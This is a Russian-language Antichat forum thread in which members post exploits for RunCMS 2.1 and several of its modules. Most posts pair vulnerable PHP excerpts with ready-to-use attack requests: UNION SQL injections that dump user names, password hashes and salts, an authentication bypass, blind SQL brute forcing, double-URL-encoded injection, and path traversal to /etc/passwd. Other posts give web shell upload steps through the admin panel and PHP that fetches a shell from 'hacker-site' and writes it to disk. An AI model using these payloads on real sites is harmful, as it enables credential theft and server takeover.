Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

25.02.2009, 07:03
|
|
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме: 10046345
Репутация:
4589
|
|
banners - дефолтный модуль RunCMS
Версия: 1.4
SQL-INJ
Уязвимый скрипт: index.php
Зависимость: magic_quotes = off
Зависимость: Включенный модуль banners
Вначале обойдем авторизацию
Запрос [POST \ GET]: login=q' union select 1,2,3,0x393030313530393833636432346662306436393633 6637643238653137663732#&pass=abc
где 0x393030313530393833636432346662306436393633663764 3238653137663732 - хэш от abc, переведенный в число.
Уязвимый кусок кода:
PHP код:
switch ($_REQUEST['op']) {
case "bannerstats":
bannerstats($_POST['login'], $_POST['pass']);
break;
..........
function bannerstats($login, $pass) {
global $db, $myts, $xoopsConfig, $meta, $xoopsModule;
$sqlpass = md5($pass);
$result = $db->query("SELECT cid, name, login, passwd FROM ".$db->prefix("banner_clients")." WHERE login='$login' AND passwd='$sqlpass'");
list($cid, $name, $login, $passwd) = $db->fetch_row($result);
if ($sqlpass == $passwd) {
Едем дальше, получим пароль админа:
Уязвимый кусок кода:
PHP код:
$result = $db->query("SELECT bid, imptotal, impmade, clicks, datestart FROM ".$db->prefix("banner_items")." WHERE cid=$cid");
// $cid - один из столбцов с предыдущего скуль-запроса
while ( list($bid, $imptotal, $impmade, $clicks, $date) = $db->fetch_row($result) ) {
if ( ($impmade == 0) || ($clicks == 0) ) {
$percent = 0;
} else {
$percent = round(100 * ($clicks/$impmade), 2);
}
if ( $imptotal == 0 ) {
$left = _BN_UNLIMITED;
} else {
$left = ($imptotal-$impmade);
}
echo "
<td class='center'>$bid</td>
Получаем иньекции для второго запроса в мускул:
-1 union select uname,0,0,0,0 from runcms_users limit 0,1
-1 union select pass,0,0,0,0 from runcms_users limit 0,1
-1 union select pwdsalt,0,0,0,0 from runcms_users limit 0,1
Переведем в число:
uname: 0x2d3120756e696f6e2073656c65637420756e616d652c302c 302c302c302066726f6d2072756e636d735f7573657273206c 696d697420302c31
pass: 0x2d3120756e696f6e2073656c65637420706173732c302c30 2c302c302066726f6d2072756e636d735f7573657273206c69 6d697420302c31
pwdsalt: 0x2d3120756e696f6e2073656c6563742070776473616c742c 302c302c302c302066726f6d2072756e636d735f7573657273 206c696d697420302c31
Итого общий запрос:
login=q' union select 0x2d3120756e696f6e2073656c65637420756e616d652c302c 302c302c302066726f6d2072756e636d735f7573657273206c 696d697420302c31,2,3,0x393030313530393833636432346 6623064363936336637643238653137663732#&pass=abc
Последний раз редактировалось BlackSun; 25.02.2009 в 07:35..
|
|
|

25.02.2009, 09:00
|
|
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме: 10046345
Репутация:
4589
|
|
messages - дефолтный модуль RunCMS
Версия: 1.02
Blind SQL-INJ
Уязвимый скрипт: read.php и readsend.php
Посимвольный брут
Запрос: /modules/messages/read.php?start=0&total_messages=1&sort=msg_time+an d+(select+ascii(substring(pass,1,1))+from+runcms_u sers+limit+0,1) >100&by=DESC
Уязвимый кусок кода:
PHP код:
// read.php
$start = intval($_REQUEST['start']);
$total_messages = intval($_REQUEST['total_messages']);
$sort = $_GET['sort'];
$by = $_GET['by'];
$pm_arr =& PM::getAllPM(array("to_userid=".$xoopsUser->getVar("uid").""), true, $sort, $by, 1, $start);
// pm.class.php
function &getAllPM($criteria=array(), $asobject=false, $sort='msg_time', $order='ASC', $limit=0, $start=0) {
global $db;
$ret = array();
$where_query = '';
if ( is_array($criteria) && count($criteria) > 0 ) {
$where_query = " WHERE";
foreach ( $criteria as $c ) {
$where_query .= " $c AND";
}
$where_query = substr($where_query, 0, -4);
}
if ( !$asobject ) {
$sql = "SELECT msg_id FROM ".$db->prefix("private_msgs")."$where_query ORDER BY $sort $order";
$result = $db->query($sql, $limit, $start);
while ( $myrow = $db->fetch_array($result) ) {
$ret[] = $myrow['msg_id'];
}
} else {
// как видим - нам мешает ORDER BY =\
$sql = "SELECT * FROM ".$db->prefix("private_msgs")."".$where_query." ORDER BY $sort $order";
$result = $db->query($sql, $limit, $start);
while ( $myrow = $db->fetch_array($result) ) {
$ret[] = new PM($myrow);
}
}
return $ret;
}
|
|
|

27.02.2009, 16:22
|
|
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме: 10046345
Репутация:
4589
|
|
Members List
Версия: 1.1
Уязвимый скрипт: index.php
Запрос: /modules/memberslist/index.php?query=!')+union+select+1,pass+from+runcm s_users%23
Уязвимый кусок кода:
PHP код:
if ( isset($query) ) {
$where = "WHERE level>0 AND (uname LIKE '%$query%' OR user_icq LIKE '%$query%' ";
$where .= "OR user_from LIKE '%$query%' OR user_sig LIKE '%$query%' ";
$where .= "OR user_aim LIKE '%$query%' OR user_yim LIKE '%$query%' OR user_msnm like '%$query%'";
if ( $xoopsUser ) {
if ( $xoopsUser->isAdmin() ) {
$where .= " OR email LIKE '%$query%'";
}
}
$where .= ") ";
} else {
$where = "WHERE level>0";
}
$result = $db->query("SELECT uid, uname FROM ".$db->prefix("users")." $where ORDER BY uid DESC",1,0);
list($lastuid, $lastuser) = $db->fetch_row($result);
|
|
|

27.02.2009, 18:39
|
|
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме: 10046345
Репутация:
4589
|
|
Arcade
Версия: 0.51
Уязвимый скрипт: index.php
Запрос: /modules/arcade/index.php?act=show_cat&cat_id=-1+union+select+1,pwdsalt,pass,4,uname,6,7,8,9,10,1 1,12,13,14,15+from+runcms_users%23
Уязвимый кусок кода:
PHP код:
switch($act)
{
case 'show_cat':
{
show_category($cat_id);
break;
}
...........
// /include/arcade_func.php
function _show_cat_games($cat_id)
{
global $db, $HTTP_GET_VARS, $options;
$sql = "SELECT * FROM ".$db->prefix('arcade_cats')." WHERE cat_id=$cat_id";
$res = $db->query($sql);
$catrow = $db->fetch_object($res);
$sql1 = "SELECT count(*) from ".$db->prefix('arcade_games')." WHERE cat_id=$cat_id AND active=1 order by gtitle";
$res1 = $db->query($sql1);
list($total_games) = $db->fetch_array($res1);
$pager = new PageNav($total_games, $options['games_per_page'], $HTTP_GET_VARS['start'], "start", "act=show_cat&cat_id=$cat_id");
$sql2 = "SELECT * from ".$db->prefix('arcade_games')." WHERE cat_id=$cat_id AND active=1 order by gtitle";
$res2 = $db->query($sql2, $options['games_per_page'], $HTTP_GET_VARS['start']);
if ($catrow->cat_info) { $boxstuff = "<center><h1>".$catrow->cat_info."</h1></center><br />";}
if ($pager->renderNav()) { $boxstuff .= "<center>".$pager->renderNav()."</center><br />";}
$title= _MD_DISPCAT.$catrow->cat_name;
while ($row = $db->fetch_object($res2))
{
$boxstuff .=_display_game_info($row);
}
if ($pager->renderNav()) { $boxstuff .= "<br /><center>".$pager->renderNav()."</center>";}
themecenterposts($title, $boxstuff);
}
Запрос: /modules/arcade/index.php?act=play_game&gid=-1+union+select+1,pwdsalt,3,4,uname,6,7,8,9,10,11,1 2,pass,14,15+from+runcms_users%23
Уязвимый кусок кода:
PHP код:
case 'play_game':
{
play_game($gid);
break;
}
.....
// /include/arcade_func.php
function play_game($gid)
{
......
swf_display($gid);
......
function swf_display($gid)
{
global $db;
$sql = "SELECT * from ".$db->prefix('arcade_games')." WHERE gid=".$gid;
$res = $db->query($sql);
Запрос: /modules/arcade/index.php?act=show_stats&gid=-1+union+select+pass,2+from+runcms_users%23
Уязвимый кусок кода:
PHP код:
case 'show_stats':
{
show_gamestats($gid);
break;
}
.......
function show_gamestats($gid)
{
OpenTable();
_display_gamestats($gid);
CloseTable();
}
.......
function _display_gamestats($gid)
{
global $db, $HTTP_POST_VARS, $xoopsUser, $options;;
$sql = "SELECT gtitle,highscore_type FROM ".$db->prefix('arcade_games')." WHERE gid=".$gid."";
$res = $db->query($sql);
Чтение произвольных файлов
Зависимость: magic_quotes = off
Запрос: /modules/arcade/index.php?act=download_game&game=/../../../../../../../../../../../../../../../../../../../etc/passwd%00
Уязвимый кусок кода:
PHP код:
case 'download_game':
{
download_game($game);
break;
}
.....
function download_game($game)
{
global $HTTP_POST_VARS, $xoopsUser;
$dir = XOOPS_ROOT_PATH."/modules/arcade/cache/tar/";
$file = $dir."game_".$game.".tar";
$dir2 = XOOPS_ROOT_PATH."/modules/arcade/tar/";
$file2 = $dir2."game_".$game.".tar";
if ( !@file_exists($file) && !@file_exists($file2) )
{
new_tar($game);
} else {
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: public");
header("Content-Description: File Transfer");
header('Content-type: application/x-tar');
$header="Content-Disposition: attachment; filename=game_".$game.".tar";
header($header );
header("Content-Transfer-Encoding: binary");
@readfile($file);
}
}
На этом закончу с этим модулем, дальше все те же скули ..
Последний раз редактировалось BlackSun; 27.02.2009 в 18:41..
|
|
|

27.02.2009, 19:05
|
|
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме: 10046345
Репутация:
4589
|
|
Book Reviews
Версия: 0.3
Уязвимый скрипт: index.php
Запрос:
Код:
/modules/mareviews/?func=catlist&category=%252d%2531%2527%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2563%256f%256e%2563%2561%2574%255f%2577%2573%2528%2530%2578%2533%2561%252c%2570%2561%2573%2573%252c%2570%2577%2564%2573%2561%256c%2574%2529%252c%2575%256e%2561%256d%2565%252c%2533%2520%2566%2572%256f%256d%2520%2572%2575%256e%2563%256d%2573%255f%2575%2573%2565%2572%2573%2523
Уязвимый кусок кода:
PHP код:
function show_catlist($category) {
global $isbn, $title, $db;
// а благодаря этому можно заюзать concat для гламурности,
// а так-же забыть про magic_quotes ..
// .. дважды заURLэнкодив иньекцию
$category = urldecode($category);
$table = $db->prefix()."_mareviews";
/*
* Set display title
*/
$box_title = $category." - Reviews";
$content = "<table>";
$sql = "
SELECT title, author, id
FROM $table
WHERE category = '$category'
ORDER BY author, title";
$result = $db->query($sql);
|
|
|

08.04.2010, 14:39
|
|
Познающий
Регистрация: 11.11.2008
Сообщений: 77
Провел на форуме: 1144288
Репутация:
99
|
|
RunCMS 2.1
Active XSS
http://yoursite/edituser.phpПоле address varchar(150) Поле town varchar(60)
Заливка шелла через админку
http://yoursite/modules/system/admin.php?fct=tpleditor
Заливаем zip архив с шеллом.
Шелл будет залит сюда: http://yoursite/themes/shell.php
---------------------------------------------------------
http://yoursite/modules/system/admin.php?fct=blocksadmin
Добавляем новый блок:
Content - сюда вставляем инклюд шелла, например:
PHP код:
$str = file_get_contents("http://hacker-site/shell.txt");
$fp = fopen("shell.php", "w+t");
fwrite($fp, $str);
Content Type - PHP Script
Заходим на страницу содержащую блок или смотрим его preview.
Шелл будет залит сюда: http://yoursite/modules/system/shell.php
Player#1 (c)
|
|
|

13.05.2010, 15:19
|
|
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
Провел на форуме: 5290740
Репутация:
912
|
|
Run CMS 2.1
www.runcms.org
SQL-Injection
file:/modules/forum/reply.php
PHP код:
include_once("class/class.forumposts.php");
$forumpost = new ForumPosts($post_id);
file:/modules/forum/class/class.forumposts.php
PHP код:
function ForumPosts($id=-1) {
if ( is_array($id) ) {
$this->makePost($id);
} elseif ( $id != -1 ) {
$this->getPost($id);
}
}
...
function getPost($id) {
...
$sql = "SELECT * FROM ".$bbTable['posts']." WHERE post_id=$id";
$array = $db->fetch_array($db->query($sql));
...
result:
Код:
GET /modules/forum/reply.php?forum=3&post_id=-4+union+select+1,2,3,4,5,6,7,version(),9,10,11,12,13,14,15,16,17,18&topic_id=4&viewmode=flat&order=0
LFI
need: administrator account, mq=off
Код:
/modules/system/admin.php?fct=tpleditor&op=file_edit&module=../../../[local_file]%00
/modules/system/admin.php?fct=tpleditor&op=css_edit&module=../../[local_file]%00
/modules/system/admin.php?fct=tpleditor&op=tpl_module_edit&module=../../[local_file]%00&tpl=1
Full Path Disclosure
Код:
/footer.php
/header.php
/class/core.php
/class/groupaccess.php
/class/rcxblock.php
/class/rcxcomments.php
/class/rcxformloader.php
/class/rcxgroup.php
/class/rcxpm.php
/class/rcxstory.php
/class/rcxtopic.php
/class/rcxuser.php
/class/database/mysql.php
/class/form/formbutton.php
/class/form/formcheckbox.php
/class/form/formdatetime.php
/class/form/formdhtmleseditor.php
/class/form/formdhtmlfckeditor.php
/class/form/formdhtmltextarea.php
/class/form/formelementtray.php
/class/form/formfile.php
/class/form/formheadingrow.php
/class/form/formhidden.php
/class/form/formlabel.php
/class/form/formpassword.php
/class/form/formradio.php
/class/form/formradioyn.php
/class/form/formselect.php
/class/form/formselectcountry.php
/class/form/formselectgroup.php
/class/form/formselectlang.php
/class/form/formselectmatchoption.php
/class/form/formselectmodule.php
/class/form/formselecttheme.php
/class/form/formselecttimezone.php
/class/form/formselectuser.php
/class/form/formtext.php
/class/form/formtextarea.php
/class/form/formtextdateselect.php
/class/form/simpleform.php
/class/form/tableform.php
/class/form/themeform.php
upload shell
need: administrator account
Логинимся.. Идём в System Admin -> Theme Editor -> архивируем шелл (*.zip) -> жмём upload
шелл будет доступен по адресу http://site.ru/themes/shell.php
Последний раз редактировалось .:[melkiy]:.; 13.05.2010 в 17:18..
|
|
|

13.05.2010, 18:21
|
|
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
Провел на форуме: 5290740
Репутация:
912
|
|
Run CMS 2.1
SQL-Injection
need:user account
file:/modules/pm/print.php
PHP код:
if ( isset($_POST['op']) ) {
$op = $_POST['op'];
} elseif ( isset($_GET['op']) ) {
$op = $_GET['op'];
}
if ( isset($_POST['msg_id']) ) {
$msg = $_POST['msg_id'];
} elseif ( isset($_GET['msg_id']) ) {
$msg = $_GET['msg_id'];
}
if (empty($msg)) {
redirect_header("index.php", 2, _PM_NOPNTOPRINT);
exit();
}
if ($op == "print_pn") {
$sql = "SELECT msg_id, subject, from_userid, to_userid, msg_time, msg_text FROM ".$db->prefix("pm_msgs")." WHERE msg_id=".$msg." ";
}
if ($op == 'print_sent_pn') {
$sql = "SELECT msg_id, subject, from_userid, to_userid, msg_time, msg_text FROM ".$db->prefix("pm_msgs_sent")." WHERE msg_id=".$msg."";
}
result:
Код:
/modules/pm/print.php?op=print_pn&msg_id=-0+union+select+1,2,3,4,5,6
--------------
Код:
/modules/forum/edit.php?forum=1&post_id=-1+union+select+1,2,3,4,5,6,7,version(),9,10,11,12,13,14,15,16,17,18&topic_id=4&viewmode=flat&order=0
/modules/galleri/viewcat.php?cid=-1+union+select+1,version()
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|